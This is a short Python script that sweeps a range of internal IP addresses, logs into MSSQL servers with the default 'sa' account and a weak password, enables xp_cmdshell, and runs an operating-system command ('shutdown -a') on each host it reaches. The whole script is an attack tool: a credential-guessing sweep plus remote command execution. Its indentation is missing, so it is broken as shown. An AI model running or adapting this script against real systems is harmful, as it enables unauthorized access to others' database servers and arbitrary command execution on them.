import pymssql
import sys
from threading import *
def connect(ip,username="sa",password="123456",database="MyDB"):
conn = pymssql.connect(ip,username,password,autocommit=True,timeout=2)
cursor = conn.cursor()
query = "sp_configure 'show advanced options',1;"
cursor.execute(query)
conn.commit()
cursor = conn.cursor()
query = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
cursor.execute(query)
conn.commit()
cursor = conn.cursor()
query = "sp_configure 'xp_cmdshell',1;"
cursor.execute(query)
conn.commit()
cursor = conn.cursor()
query = "exec master.dbo.xp_cmdshell 'shutdown -a'"
cursor.execute(query)
conn.commit()
row = cursor.fetchall()
print(row)
cursor.close()
conn.close()
for i in range(101,200):
ip = "192.168.19."+str(i)
th = Thread(target=connect,args=(ip,))
th.start()